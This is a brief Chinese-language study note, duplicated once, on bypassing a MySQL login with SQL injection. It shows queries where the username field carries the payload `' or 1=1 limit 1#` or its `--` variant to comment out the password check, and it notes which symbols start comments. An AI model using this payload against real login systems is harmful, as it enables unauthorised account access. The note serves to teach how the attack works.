1.mysql通过sql注入登录
select *from user where username = ''or 1=1 limit 1#' and password = 'zhangsan'
select *from user where username = ''or 1=1 limit 1 -- ' and password = 'zhangsan'
mysql中#为注释符号
oracle中 -- 为注释符号
select *from user where username = ''or 1=1 limit 1#' and password = 'zhangsan'
select *from user where username = ''or 1=1 limit 1 -- ' and password = 'zhangsan'
mysql中#为注释符号
oracle中 -- 为注释符号